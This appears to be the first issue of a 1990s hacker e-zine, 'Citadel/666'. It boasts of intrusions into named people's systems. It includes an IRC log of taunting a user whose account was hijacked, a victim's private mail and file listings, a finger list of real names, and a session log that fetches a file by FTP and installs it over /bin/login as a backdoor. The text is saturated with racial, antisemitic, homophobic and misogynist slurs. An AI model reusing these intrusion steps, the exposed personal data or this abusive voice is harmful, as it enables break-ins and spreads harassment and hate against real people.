2 August 2002
Source: http://www.eurocompton.net/~fuk/citadel.01.txt

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INTRODUCTION:  Meet those whacky c/666 guyz#!@#!
 
Biscuit  - Alcoholic/Thinks kerberos is groovy
Wet_Turd - Part Time n1gr/Gets off on file handles
Sneek    - Full time loser/Hopes one day to enter dockmaster!@#
 
                       We are not your friends.  
 
:::Table Of Contents:::
 
:1:  Letter from the editor.
:2:  Interview with biscuit.
:3:  Damiano (sec@spiff.gnu.ait.mit.edu)
:4:  MOTD from uxa.cso.uiuc.edu / uiuc d00msday
:5:  Shipley goes down AGAIN!
:6:  POSSEE...legend or leftovers?
:7:  shaolin.com...MOD returns?!@!# oh gn0!@!@
 
 
::LETTER FRuM dA EdItoR::
 
        Greetings from the guys at citadel/666.  We are just some guys
that are too elite for words and are sick of seeing all you losers
having fun doing whatever it is that you do when you do what you do
when you do it on your machines.  In other words, why should your
computing experience be hassle free?  Yea, thats what I said, fuckit, it
shouldn't...and it won't.
        We are dedicated to mentally and emotionally castrating morons.
Whether it be via something ultralame like irc [the SCOURGE of the net, 
downfall of anything remotely elite, take a look at article 3, and
you DO know that you are next rite erikb? -Ed] or social engineering your
mother, sister, one eyed aunt flossie, whatever it takes.  
        It all boils down to this basically:  we are bored and have a lot
of knowledge at our hands, and the fact that we are sadistic bastards makes
it a whole shitpotfull worse.
        So get used to it.  Cause we are a permanent establishment.
 
                        Love always:
 
                           Sneek
 
::2::Interview with biscuit::
 
 
        Interview takes place reel late at night like we are both tired.
 
 
[*ring ring ring*]
 
Biscuit: Hello?
Sneek: Hey its _______ whats up?
B: Nothing, whats up?
S: We are gonng put out a monthly rag page....im interviewing u now.
B: Cool, can I write some articles?
S: Of course dumbass, but first lets tell the people a little bit about
   yourself.
B: Uhh, ok.
S: What is your real name?
B: Hahahah blow me whats YOURS
S: Sven Speebocken, or something like that...so like what are you doing rite
   now.
B: Mounting ______________ 
S: Yea that place is pathetic.  So what do you think of so called security
   expert Kaplan?
B: His files weren't that interesting, old lame bugs n stuff.
S: Yea been there, done that.
B: Hahahahhahaha!
S: What about people who advocate the advancement of Gore's 
   Information Superhighway?
B: Fuck if I know. Gore is lame.
S: Gee could you be any more vague sphincter boy?
B: Thanks a lot.
S: Sorry did I hurt your fragile ego?
B: Don't ask me where your files went.
S: I KNOW where yours are.
B: Hahahahaha...
S: Anyway, do you think that we have anything POSITIVE to contribute to the 
   net?
B: In a nutshell, no. 
S: Yea me either.
B: I say we burn down hope.
S: Why don't you, me and wet_turd just crucify chris goggans and save 
   everyone a trip?
B: I don't know I kinda like his hair.
S: Fag.
B: Ask erikb about those n00die gifz in his homedir.
S: Family photos no doubt.  What do you do when you aren't on the net?
B: Dig ditches for the ______ State Highway Development Team.
S: Wow, you are like big and buff and I wanna be like you.  What do u think
   of that bag o rag GrayAreas?
B: I like fabricated stories about breakins.
S: So what are you saying be more specific.
B: The whole mag is made up, she has no clue.  And I am reading her mail
   right now, she should call ME up for an interview.
S: Bah, so like you are saying that those two geeks that she intereviewed
   were like not the real perps?
B: Well let's see...the guy that said he did it said he was paying for the
   call, yea I believe that was the real guy.  She is full of shit and
   should be hung with erikb. 
[ON A SIDE NOTE HAY NETTA ARE U GOING TO HOPE?!@# --malicious lafter--]
S: Yea she writes like she has had about 30 too many acid hits and can't
   quite let go of the sixties.  But I heard she can blow bubbles
   with Now'N'Laters.
B: I wouldn't know ask BlueAdept!
S: Uh Oh! I smell scandal! Whats the scoop do you have any details?
B: Only mail.
S: That's enough! Owell, thats enough for this issue, I think we have
   sufficiently showed our discontent with most people in general don't
   you?
B: Yea but we like need guns and stuff.
S: Wait for HOPE.
B: Ok.
S: Thanks fer yer time dorkboy.
B: Talk to u later smegrot.
 
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::3::Damiano!sec@gnu.spiff.ai.mit.edu::
 
[this is a dump of some fun we had with this lamer. He thinks he is dangerous
 and stuff....bwahahahah. -ed]
 
 begin log:
 
IRC log started Wed Jun 29 17:07
*** Value of LOG set to ON
<SevenUp> who the fuck was faking me=????
> total 178
> drwx------  6 sec          1024 Jun 29 17:12 .
> drwxrwxr-t876 root        16384 Jun 22 01:05 ..
> -rw-r--r--  1 sec        286678 Jun 19 16:43 .di.gz
> drwx------  2 sec          1024 Feb 13 13:43 .elm
> -rw-r--r--  1 sec            15 May 18 14:55 .forward
> -rw-r--r--  1 sec          2035 Dec 26  1993 .ircrc
> -rw-r--r--  1 sec           356 Jan 17  1993 .login
> -rw-r--r--  1 sec            62 Jun  9 11:45 .p
> -rw-------  1 sec           102 Jun 29 17:12 IrcLog
> drwx------  2 sec          1024 Aug 25  1992 Mail
> drwx------  2 sec            24 Aug  9  1991 News
> -rw-r--r--  1 sec            74 Jun  2 21:23 bla
> -rw-r--r--  1 sec          7035 Jun 12 03:38 feds.info
> -rw-r--r--  1 sec             0 Dec 14  1993 p
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> -rw-r-----  1 sec         10528 Feb 13 13:40 p45b
> -rw-r--r--  1 sec          5107 Jun 12 03:40 paper.RA
> drwxr-xr-x  2 sec          1024 Jun 19 16:18 tmp
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> gn0 spewg silly b0y
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> eYe am x.25 g0hD werD!@#!
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<pluvius> stop with the fucking screen dumps
> yer mayle sux
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*SevenUp* who is this?
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<C-Curve> dami
<pluvius> shit this sucks
-> *sevenup* flApjAq
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<netw1z> erikb is lame
<pluvius> everything sucks
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<erikb> grow up
> deth to j00z
<whywhen> [-- Mode: y #hcs +o dsaint --]
<whywhen> [-- Mode: y y +ws --]
<whywhen> *** You are now an IRC Operator
> posse kannot touch sektek
* TEK is back.
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<whywhen> &
<whywhen> &
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<whywhen> dyn
*SevenUp* dunt mess with me or you will be in trouble
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<whywhen> deth to whiteyz
<pluvius> yeah adolf, I hear you
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-> *sevenup* how do ufigger that j00boy
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<morgen> gfm
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<werd> ;-0
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<lgas> accounts eytan
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<gfm> Hi.
*Sammi* hey..u there?
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-> *sammi* yes hi
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*SevenUp* why are you fucking with me nigger?
<gfm> morgen...aren't you going to hope?
<merc> sup
-> *sevenup* cause i can
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<net> nambla for gfm
<morgen> gfm, why that's nice of you to ask!
*SevenUp* get off that account and talk to me
<morgen> in FACT. i am
<merc> zimma:zasts zike zit
-> *sevenup* u aint seen nittin yet germanboy
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<merc> what exactly does nambla stand for?
<HoS> anyone know where i can get ufc_crypt?
<net> nambla for gfm
*Sammi* :) well..
-> *sevenup* how bout i stay here and DONT talk to you
*SevenUp* are you peaboy?
<llaura> gfm..c-curve..sevenup...
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*SevenUp* tell me who you are
<net> gfm is lame.
<gfm> hi laura.
*SevenUp* hahahahaah.. just tell me who you are
-> *sevenup* i am deth2j00z
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<lgas> hos: archie you lazy punk
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<HoS> hmmmm
*SevenUp* posse wouldnt fuck with me
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<C-Curve> llaura
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-> *sevenup* u are not in a bargaining posishun funny boy
<HoS> hehe
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<llaura> yo georgie whats up? hows your wednesday summer?
<HoS> i didnt know if it would be listed
<HoS> bah
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<morgen> hi Laura
*Sammi* i am trying to locate jane..know where she is?
<llaura> c-curve...found the love of your life yet?
*SevenUp* weird.
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*SevenUp* is there a reason you fucking with me? 
<whywhen> MERK#@$%$%
-> *sammi* bent over a chair in front of me giving m e some of the WORST head i have ever had
<llaura> hi morgen..
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-> *sevenup* because you are lame
*** sevenup: No such nick/channel
-> *sevenup* because u r lame
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-> *sevenup* i smell ur x.5
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*Sammi* shucks. 
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<llaura> so whers the controversy of the day at?
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*SevenUp* are you pee?
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> RiTe HeRe baYbee
*** You have been kicked off channel #hack by netw1z (netw1z)
*** #hack : Cannot send to channel
-> *sevenup* no dickhead
*SevenUp* if so, you should be greatful to me
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*** Topic for #hack: get a life
*** Users on #hack: damiano PcLorD the_pope aDude Machine SN Shortwave @netw1z 
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*SevenUp* are you peaboy?
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<morgen> wheee
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-> *s/m* sevenup NO u prick and if i was why would i be grateful
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*** You have been kicked off channel #hack by netw1z (netw1z)
*** s/m: No such nick/channel
*SevenUp* man, who the fuck is this?
-> *sevenup* no u prick what are you stupid?> what does peaboy owe u
*Sammi* and you r in cambridge ?
-> *sammi* yea jesus this whore could blow bubbles in concrete
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*SevenUp* i gave him an acct on my system
<lgas> left us with no ops, OH WELL.
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<HoS> argh
-> *dover* please stop hacking my system
<HoS> archie sux
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*SevenUp* how did you get my account?
<Machine> l/-\me
-> *doveer* audio alarms are for bitch ass niggers
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-> *dover* audio alarms are for bitch ass niggerz
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<werd> hey, 2 slow again..
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<gfm> yeah weeeeeekid lame.
*SevenUp* s
*SevenUp* sss
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<HoS> lgas: there was no ufc anything in archie
*SevenUp* oops
<netw1z> kewln!#@
-> *sevenup* what are you some kind of retard do you reallyu thingk that i am going to tell you anything valuable you stupid thick headed kraut
<Olphart> any1 know of a ma
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*SevenUp* dcc chat me
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*dover* who is hacking your system?
<lgas> hos: you don't know how to use archie right then, it's been there every time I've needed it.
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*Sammi* amusing. i didnt know she was a pro.
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*** Signoff: Zar (brb)

*** dover is away: working
<wow> why r u so lame netw
-> *sammi* oh yea years now
<Dokk> Damn SURANET.
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*SevenUp* valuable like what?
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<gfm> KICK ME AGAIN, PUNK!
<lgas> netwiz is totally and completely on my dick.
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-> *dover* haqman sucks, ill send you a review of your systems security soon bitch aass niggr
<Gentry> they do suck
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<gfm> KICK ME AGAIN PUNK.
<Dokk> 'Specially with their machines dropping like flies.
<Gentry> yea... that would explain the bad behavior...
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Login       Name              TTY Idle    When            Office
dbgordon Donald B Gordon       p0  20: Fri 17:00 
juo      John Oleynick         p1 8:09 Tue 14:39 
donnas   Donna Renee Strauss   p2   51 Wed 15:14 
cavatina Chee Seng Chau        p3   19 Wed 03:16 
edoggett Eric Doggett          p4      Wed 16:45 
jbrown   Justin William Brown  p6   14 Wed 16:52  Texas       
rich     Richard Murphey       p8 4:28 Wed 11:57 
prism    Joseph "Chuck" Lanto  p9      Wed 15:26 
wyvern   The Wyvern            pa    2 Tue 11:15 
kristyn  Kristyn Fayette       pb   46 Wed 15:46 
gwydion  Mercenary Programmer  pd   19 Wed 17:00 
jwe      John W. Eaton         pe    6 Wed 11:00  UT Austin D
kanan    Robert C. Chady       pf   20 Wed 13:26 
jmc      James Michael Chacon  q0   53 Tue 21:55 
derrick  Derrick Aubin         q3      Wed 15:24 
sec      Seven Up Club        *q4      Wed 17:02 
tturner  finger fsf 4 info     q6 1:27 Wed 15:26              
jvstice  I.C. inJvstice        q8      Wed 15:53  Castle Cala
english  Randy English         qe   1d Tue 14:29 
english  Randy English         qf   7d Tue 14:29 
<C-Curve> zar/wow
<gfm> DONT MAKE ME KICK YOUR ASS AGAIN NETWIZ.
<wow> cc
*dover* ok, also email me fixes and diffs for hackman.
*** Signoff: Zar (changing servers)
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*** Unknown command
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<Dokk> Gentry: Yup. lost a major gateway this afternoon. We had to breing it to their attention.
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<werd> h0h0
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-> *dover* mail me the latest hackman in mail now
<Gentry> they didn't notice... why does thsi not surprise me.
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<lgas> hahahah
<Zar> yo
<SirLance> bleh
<netw1z> im elite
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-> *sevenup* hay...wy dont u blow me
<SirLance> m0st el33+
<Gentry> figures tho... they still ahve the mentality that "BITNET" is a real worthwhile service.
<Zar> wird
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<Machine> eleet shit
<werd> h0 h0 h0
<gfm> YOU are LAME netw1Z
<gfm> YOU ARE SO CRAP.
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<Machine> eleet iz shit
<netw1z> gfm is lame
*** gfm has been kicked off channel #hack by netw1z (cuz)
*dover*  I have not touched it for a few months
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<gfm> ELEET DIS: YOU ARE SO CRAP
<m3rl1n> i saw a payp w/ a box on the post it was on; what is this box on it??
*** Signoff: netw1z (organ.ctr.columbia.edu polaris.ctr.columbia.edu)
*** Signoff: werd (organ.ctr.columbia.edu polaris.ctr.columbia.edu)
-> *dover* mail me whatever is recent
*** dover is away: working
*** gfm is now known as netw1z
<netw1z> uh oh.
<m3rl1n> i saw a payp w/ a box on the post it was on; what is this box on it??
<C-Curve> lagggged
<C-Curve> zar, werd
<C-Curve> tanx
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<Machine> m3rl1n: don't expect much
-> *sevenup* u kan have ur akkount back in aexchange for a vlaid niu
-> *sevenup* nui
*** Ice-9 is now known as ypcat
<m3rl1n> side view
<lgas> netwiz is totally and completely on my dick.
*** Signoff: SevenUp (Error 0)
<m3rl1n> { <-phone
*** sevenup: No such nick/channel
*** sevenup: No such nick/channel
<Machine> these eleetist bitches don't know sheet
<m3rl1n> |
<m3rl1n> |
*dover* I thouhgt you already had it so lets save network bandwith
<m3rl1n> | <-- post
<Olphart> all of u like blow chunky semen
> I know shit
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*** Signoff: netw1z (Killed (organ.ctr.columbia.edu (mcphy0.med.nyu.edu <- polaris.ctr.columbia.edu)))
*** op (ccdavid@sobrino.eui.upm.es) has joined channel #hack
-> *dover* i dont have it i lost it in a crash could you please send it
<m3rl1n>  |] <--- box on post
*** werd is now known as netw1z
*** dover is away: working
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<netw1z> h0h0h0
<Machine> Olphart like, right
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*dover* I am bizy today.. I am settting up a tpc.int server ?
-> *dover* argh ok
*** dover is away: working
IRC Log ended *** Wed Jun 29 17:24
IRC log started Wed Jun 29 17:41
*** Value of LOG set to ON
> hrloo?
<netw1z> sctec in effect?
> hello?
<netw1z> sha0lin r00ls
<|1n3|1nk> z$p
> sectec crushes sha0lin lameness
*** SpAm has left channel #hack
-> *netw1z* hay kan u patch me a vax lameboy?
<netw1z> sha0lin r00lez 0ver sectec ashes
<lgas> setec astronomy?
> sectec eats sha0lin geekz
> we have guns
<bah> sh: /tmp/test: Permission denied
<bah>  CLICK             SHAOLIN.ESCAPE.COM
<bah>  poof    / -------------------------------\
<bah>      \/  |    on/off  |||||||MicroCom 28.8|
<bah>          \_______0________________________/
<bah>       />     
<bah>      / )                     
<bah>    _( (_    _               
<bah>   (((\ \>  /_>         
<bah>   (\\\\ \_/ /          
<bah>   \       /           
*netw1z* alwayz
<bah>    \    _/                
<bah>     /   /                   
<bah>    /   / <--- roman
-> *netw1z* i doubt it
<netw1z> roman is lame
-> *netw1z* weak nigger
-> *netw1z* doubt it buckwheat
*** argus (argus@foley.ripco.com) has joined channel #hack
-> *netw1z* so what did you DO for MOD?
*** DCC CHAT (chat) request received from SevenUp
*netw1z* nothing , nigger
*** argus has left channel #hack
-> *netw1z* obviously u are such a valued member i hear
*** Ambiguous command: M
*netw1z* i wouldnt know

*SevenUp* 
-> *sevenup* i aint dcc chatiign u u stupid kraut fuq
<|1n3|1nk>  /usr/ucb/telnet> open shaolin.escape.com
<|1n3|1nk> Trying 198.6.71.26 ...
-> *netw1z* awww u ssound insecure
<Gentry> God, I wish IRC had a KILL file like news does....
*SevenUp* who the fuck are you?
<|1n3|1nk> is it off??
*netw1z* u r a fak damiano
-> *sevenup* eye am deth incarnate
*SevenUp* if i find out you'll be in deep shit
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<Presence> u suk
-> *netw1z* i wanna fuck u
<netw1z> presence is lame!#@
<lgas> gentry: /ignore
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*netw1z* lets get it on baby
-> *sevenup* ohhh nooooooooo <shake shake shake>
<Presence> netw1z: werd!
*SevenUp* j00 be deth 2 j00z?
-> *sevenup* i be deth2j00z
*SevenUp* hahahah
<bah> bah
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-> *netw1z* are you going to hope?
<Gentry> I'd put anything related to "roman" and "j0nsin" and "escape" in htere.
*** Zedd (nstn1083@amherst-ts-16.nstn.ns.ca) has joined channel #hack
*SevenUp* i'm just wondering why you doing shit like this.. i never did anything against you
-> *netw1z* will you wax my butt?
*SevenUp* and you betich said you'd be my fried... you can#t trust anyone anymore..
<Gentry> I mean I'm sorry but quit fucking whining allready... get a new provider and be a man.
*SevenUp* man, you are a great disappointment to me
-> *sevenup* i am not j00 i am deth2j00z u ntupid nigger
*netw1z* ask eric for nambla help
> i think that all MOD lamers should become janitors because their computer skills are definately lacking
*SevenUp* well, i gave you shell on my host didn#t i?
<lgas> ahhhhh
<lgas> gentry: hack up a .irckill then...
-> *svenup* i would have takein it if i wanted it
*** svenup: No such nick/channel
*SevenUp* i know who you are.. 
-> *seven* up
*** seven: No such nick/channel
*** Unknown command: M
<netw1z> i agree
<SevenUp> damiano = peaboy hacking my account on gnu
> u are fucking siq
<Gentry> it's not worth the effort... I figure eventually it'll get old...
<lgas> eventually
-> *netw1z* i did ur rm on shaolin? u like it when files play the magic disappearing game?
*** PcLorD is now known as PcL
<Gentry> key word there...
*netw1z* mod was the most powerful hackers prehaps the world has ever seen
<lgas> too bad IRC isn't written in perl, it'd be a one line hack.
<Zedd> what chat # does the Future Crew Ride near?
*** Signoff: PcL (disuns2.epfl.ch *.il)
-> *netw1z* oh my god shutup now before i become sick
<Gentry> may take a long time... far too long... depending on the IQ of those involved...
*netw1z* where?
-> *netw1z* what are u the guy that made their tour posters and flyers? you make me sick
*** Signoff: Mark (organ.ctr.columbia.edu polaris.ctr.columbia.edu)
*** Signoff: netw1z (organ.ctr.columbia.edu polaris.ctr.columbia.edu)
*SevenUp* so why the fuck are you doing this? give me one reason!
*SevenUp* so why the fuck are you doing this? give me one reason!
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*SevenUp* so why the fuck are you doing this? give me one reason!
*** Unknown command: M
*** unknownf has left channel #hack
-> *sevenup* 1 i am helping your public relations
-> *sevenup* 2 i hate germany
-> *sevenup* 3 im bored
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*** Mode change "+o PcL" on channel #hack by birisc.cs.biu.ac.il
-> *sevenup* 4 gnu was wide open
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*SevenUp* i thought you are a nazi
-> *sevenup* 5 u sti1nk
*SevenUp* and my friend
-> *sevenup* 6 i was rejekted from sektek
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*** Mode change "+o netw1z" on channel #hack by polaris.ctr.columbia.edu
-> *sevenup* 7 i dunno 
*** Shortwave has been kicked off channel #hack by netw1z (netw1z)
*** Shortwave (swave@dalek.syn.com) has joined channel #hack
*SevenUp* so stop the shit, will you?
*** Signoff: mgn (Error 0)
*netw1z* ?
-> *sevenup* blah
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-> *netw1z* sha0lin is quite inseucre
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*SevenUp* what?
*** Signoff: Mark (organ.ctr.columbia.edu polaris.ctr.columbia.edu)
*** Signoff: netw1z (organ.ctr.columbia.edu polaris.ctr.columbia.edu)
*** Signoff: Sidd (changing servers)
*** |1n3|1nk is now known as l1n3|1nk
-> *netw1z* some bunch of hackers take off inet.d again i liked it
*** netw1z: No such nick/channel
*** Mode change "+o lgas" on channel #hack by SevenUp
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*** You have been kicked off channel #hack by SevenUp (SevenUp)
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*** Topic for #hack: get a life
*** Users on #hack: damiano Sidd mgn Shortwave uf @PcL jsz Zedd Presence PHX bah yyZ ScoUrgE SirLance @SevenUp ypcat l1n3|1nk Gentry the_pope Zar dover @lgas 
> hello
> again
*** Mode change "+b *!*@*gnu.ai.mit.edu" on channel #hack by SevenUp
*** You have been kicked off channel #hack by SevenUp (SevenUp)
*** #hack :Sorry, cannot join channel. (Banned from channel)
*SevenUp* merc wont be pleased about this..
-> *sevenup* who the fuck do you tyhink i am moron
*SevenUp* you are deth2j00z = peaboy = posse..
*SevenUp* right?
-> *sevenup* no u stupid kraut i have tnothing to do with posee lameness
-> *sevenup* merc is a whining child and if nothing was GIVEN to him he would have nothing
*SevenUp* really?
*SevenUp* well.. are you someone i know?
-> *sevenup* i see and do ALL
*SevenUp* as far as i remembah noone hates me cuz i dunt have anyone
*SevenUp* and just 
*SevenUp* posse would be so elite to hack my account 
-> *sevenup* I am CITADEL
*SevenUp* you are @shaolin then?
-> *sevenup* and I am many
*SevenUp* one of the mod guys?
*SevenUp* i never heard of fucking citadel
-> *sevenup* MOD bwahahahahah i eat mod for dinner
-> *sevenup* we have never chosen to show ourselves
*SevenUp* you just trying to bring me on a bad track.. you told me already that you are deth2j00z
*SevenUp* so i know who you are
-> *sevenup* because i enjoy toying with your inferior mind
*SevenUp* are the the deth2j00z from DPAK?
*SevenUp* hahahha you are fucking funny man
-> *sevenup* moron i was misleading you no DPAK is elite however, I am beyond u
*** Starting conversation with sevenup
*SevenUp* why did you change my password? what is the new one`?
-> *sevenup* I own your sorry system
-> *sevenup* We do as we wish
*SevenUp* which system????
-> *sevenup* And soon there will be a sign
-> *sevenup* CITADEL will begin a new awakening
*SevenUp* hahahaha
*SevenUp* so calm down dude.
-> *sevenup* we chose you
-> *sevenup* specifically
*SevenUp* leave me alone will you?
*SevenUp* i really hate fucking war
-> *sevenup* this is no war
*SevenUp* hahahahaah who is we?
-> *se
*SevenUp* john newman
*SevenUp* from ohio
-> *sevenup* citadel
*SevenUp* you got problems with control keys
-> *sevenup* there is no war
-> *sevenup* you will cooperate or be crushed
*SevenUp* well.. give me a hint who citadel is
*SevenUp* cooperate like what?
-> *sevenup* you have something we need
-> *sevenup* citadel operates as one
-> *sevenup* citadel has no seperate id
*** #hack :Sorry, cannot join channel. (Banned from channel)
-> *sevenup* unban me boy
-> *sevenup* or your end is near
-> *netw1z* hey sweetie
*** netw1z is netw1z@shaolin.dialup.access.net (Imperial Net Wizard)
*** on irc via server polaris.ctr.columbia.edu (Columbia University Testing)
-> *netw1z* teke of inet.d i liked it
-> *sevenup* citadel awaites
-> *sevenup* and we are watching
IRC Log ended *** Wed Jun 29 18:03
 
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 ::4:UIUC MOTD/UIUC d00msday::
 
 begin motd:
CITADEL   V6.6.6 BOB  #13 (negro): Wed Apr 64 0Z:21:03 CST 1992
 
****USE /tmp for staging files for up/downloading!!! That is its purpose ****
**** /scratch is for your bondage gifs! /tmp is open for your useage!    ****
 
****   Chain letters are fun for the whole family.  We particularly       ****
****   endorse pyramid scams and other forms of mail fraud! Have fun!     ****
 
        Thursday:  Buck nekkid oil dancing at the student union!
        Friday  :  Buck nekkid oatmeal wrestling at the student union!
        Saturday:  1994 Senior Drinkathon (Staff vs All comers)
                   [We have OUR money on Albert Cheng!] [randomly picked staff
                                                         member -ed]
        Sunday  :  Pray for forgiveness! (or just drink till you drop!)
 
 
                        Have a superior existance!
 
                           CCSO Consulting Staff!
 
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        We thought that this lame campus needed a little spicing up. I mean
 jesus christ, any time during the day there are like 20 people logged
 into uxa.cso.uiuc.edu running irc.  They need help getting outside and
 we dont tolerate irc.  So after like chmodding their binaries we gave
 them this little gift.  They are being sent a complimentary copy of
 our premiere issue!  We love ya fellas!
 
 
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 ::5:Shipley Goes Down Again:
 
 
                      *** Hacking Peter Shipley ***
 
 
       I was sitting on my ass one day thinking about how much I disliked
  Mr. Shipley, and I decided to show him how much of a fucking laff
  his security is. I will not go into details of how I did it, seeing as
  how the stoopid nig still doesn't get it. I figured it would be fun
  to go thru the spicz mail, so I did merde.dis.org, I would have been
  impressed if it had taken longer than ten minutes, I would have gotten
  in faster, but his link is some fucking 2400 baud slip in his backyard.
       Once I was in, and root I changed my id to him and started going
  through his files, basically the nigr didn't have jack fuckin shit,
  which really pissed me off, I mean, I wasted all of my time on a
  freakin tard boy who had nothing worth mentioning. He had "hidden"
  all of his security related material in a dir named "S" sneaky, sneaky,
  jew boy...here is a list of the bitches filez:
 
1598sun.txt      Mapp.local       calendar         nt-faq.txt
1q               Me.des           can              outt
412              Music-quote      cmos.ram         part
:2               NT               core             pat.tex
Ab               Nd               cq.au.gz         pc
Amanda           NetBSD.security  cslip-2.7        pc3.tcap
Amd              NetSweep         dead.letter      pcfs.c
Arc              News             dec_rot          pig
Ardvark          Nfilter          dis.orged        plan
Audio            Nfs              disclaim.txt     playit.pl
BSD              Notes            distfile         ppp.pl
Bin              PCFS             dns.Z            pubkeys.tar
Box              PS               el               readme.msg
Browser          Part             f                recvq
C++              Perr             f.p              remail
DOOM             Portal.com       face2ps.c        remote
DSA_lic          README2.TXT      fastfs.c         resolv+
DVI              Resume           faxit.pl         rfc
Data             Robs             fmdictionary     rush2-32.mid
Disk             S                fmtemplates      sb.fax
Dns              SIMFARM1.ZIP     foo.pl           sec.post
Doc              SIMFARM2.ZIP     form.dat         sendmail-break
EXE              Sec              format.dat.gz    sendmail.cf
EYE_DOC          Sm               fuzzy            setjmp.exe
Eg               Speak            getethers        shipley.z
Esm              Src              hc.pl            slip-kill
FaxNet           St               hip              slip.tk
Flatpass         TT               holes            slip.tk2
For              TTEx             install.doc      smtp.pl
Frame            Tim              install.exe      src
GeekCode         Tmp              install.txt      stern
HOUSE            ToDan            jetpack.scores   telnet
HP               Trust            jm               tpage
HostId           Var              livingst.txt     treaty
INDEX            WarPidg          logo.icon        tvtwm
Irc              Xt               logo.ras         uniform.tex
Kb               Zip              lurnix_bill      upm
Kelli            Zyxel            m.c              v9n136
Kelli.nr         aclock           magic            vamp
Kelli2           annebark.au      mand.cf          vcnvt.c
Label            ass_reg          map.z            winapp.zip
Letter           bbs              mart             winpkt.com
Local            blitz            merde.uucp       winsock.zip
Mail             bob.xbm          mkdic            zsunbuf.shar
Man              bugs.lst         named.cashe      zytel
Mapp             burrito          nfs.shar
 
    At this point I was wigging on the fact I had wasted my time, I took
  a few of the more interesting old toys he had, and was ready to leave
  when "Please stop hacking my system" popped up on my tty. Now lets stop
  for a moment and reflect on this. Someone is going thru your files 
  online and you noticed, would you A) Pull the cable. B) Kill their shell.
  C) Echo to their tty and kindly ask them to stop. I think most people
  who dont need spoon feeding and a pipe up their ass to go to the
  bathroom would pick either A, or B. I decided to leave, figuring the
  pud hed didn't have anything usefull anyway, and anybody idiotic enuff
  to ask me to stop hacking there system wasn't worth the time of day.
    
    Not to dissapoint the educated readers of this journal I will include
  some interesting tidbits from Mr. Fuxhedz dir..
 
          Captured Mail Lameness:
---------------------------------------------------------------------
Please don't bad mouth be behind my back else I will be more then
happy enough to confront you and/or muffy in both public and private
(and as you know I am not bothered by doing do)
 
also, please cease and desist attempting to hit an Annie, she is not
impressed by you.
 
it is very funny on how you had nothing bad to say about me and were very
complimentarily about me with Annie yet with Christopher Klaus you had not
much good to say.
 
 
                -Pete
------------------------------------------------------------------------  
 
                  *** Hacking Shitley Part #2 ***
 
      Well what the hell, I REALLLY dont like this guy.. the second time
  was much funnier than the first, after I hacked his ass again and
  he knocked me off the pansy ass got on the irc to bitch. He began
  whining to the people in #hack that he was fucking his girlfriend 
  when his computers audio alarms had gone off..wahh wahh, like the
  fuxing nig has a girlfriend. BTW, who the fuk has audio alarms on there
  computer? That is the biggest nigger rigged bullshit I have ever heard
  of..owell I decided to get on the irc and talk to mister shitpants. I
  told him I was the one who did it and gave him proof..he began
  babbling about how he would appreciate me mailing him a report on
  his security, and of course I was rolling on the fuckin ground trying
  to figure out why I didn't rm this effeminate fuck. I ripped on him
  and his arabic butt nudge friend jsz and left. Too much lameness for
  one day... 
  
 
 Pray for death bitch,
 
 Wet Terd
 
 
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 ::6:Possee, legend or leftovers?::
 
        Late 1993/1994 brought us the infinite presence of p0sse.  A
 rag tag group of mostly moderately skilled (with exception) hacks
 with an insane ego.  These guys were a riot, breaking up irc for days 
 at a time.  Shutting down servers, hacking commercial systems, 
 raiding mail spools etc etc.  I had respect for them because they fucked
 with EVERYONE.
        BUT, they were obsessed with IRC.  I mean what the fuck is the
 point of taking down a server that will return within hours and if not
 then the next day.  They made a lot of enemies quick and did some sloppy
 hacks, and now are quit a bit quiter on irc.  Will wonders never cease.
 Amazing what a good scare will do to someone.
        They did some pretty cool shit breakin wise, but its all for not
 if you get popped.
        And that merc guy, gimme a fuckin break this guy.  A total 
 whiner, ass licking lap boy to PeaBoy, who seemed to run it all.  
 I had NO respect for this clit lint.  But he is being sought right now
 rumor has it, and I am sure that he is just sitting at home counting
 the days with his pet cockatiel.
        Owell, I hope that the rest of them do something remarkable,
 cause irc is real boring without them. [cause we dont give a shit
 enough to rip apart servers ! -ed]
        And what about that bitch n0elle.  Fucking airforce narc
 cunt.  I mean how many people can you say that you know that have
 their home wired for audio and video so that they can help pop
 w1ng [see next article on shaolin.com regarding w1ng -ed].  
 I think you see the fruits of thinking with your priq.
 
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 ::7:MOD BAQ?!#?!@::shaolin system sez all
 
  CLICK             SHAOLIN.ESCAPE.COM
  poof    / -------------------------------\
      \/  |    on/off  |||||||MicroCom 28.8|
          \_______0________________________/
        />     
      / )                     
    _( (_    _               
   (((\ \>  /_>         
   (\\\\ \_/ /          
   \       /           
    \     /
    |    |
 
 
every1 gn0z how laym m0d is alreddy, but they have to be dumb and
put up a internet site (on a cheapass sl1p) [28.8 gn0 leSs!@# hahah -ed]
so they can be tres elite and irc as root on #hack.. whut a great 
idea, put a bunch of criminalz on one machine, that makes it al0t easier for
the phedz to log the access.net router!
 
anyone who has some skriptz can get an account on sha0lin.. its lame!@#
but luckily your citadel krew has an exclusive on the sha0lin breakin
that eye am sure u will be interested in..
 
-- TCP/IP LOG -- TM: Fri Jul  1 12:52:18 --
 PATH: dunx1.ocs.drexel.edu(3076) => shaolin.dialup.access.net(telnet)
 STAT: Fri Jul  1 12:52:18, 146 pkts, 128 bytes [DATA LIMIT]
 DATA: (255)(253)^C(255)(251)^X(255)(250)^X
     : VT100(255)(240)(255)(253)^A(255)(252)wing
     : n0er0x
     : /bin/time
     : echo eleet | wall
     : cat >> /etc/motd
     : w1ng wuz her3
     : ^D
     : ftp dunx1.ocs.drexel.edu
     : wing
     : x0fa02d!
     : bin
     : get elite
     : quit
     : mv elite /bin/login
-- 
 
-biscuit
 
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 Well that brings us to the end of our first action packed issue.
 We had to make sure that we ripped on MOD and POSSE to make sure
 that no s1lly rumors started.  
        We hope you enjoyed it (but if you didn't it doesn't a rat's ass
 worth of difference to me), please send money/fanmail/bombthreats/inf0
 to the following address and we will get back to u as s00n as
 inhumanly possible.
 
 Joo@joojoojoo
 
 (our address obviously changes weekly so look fer our gnu 1ssu3)
 
                        -Sneek-
 
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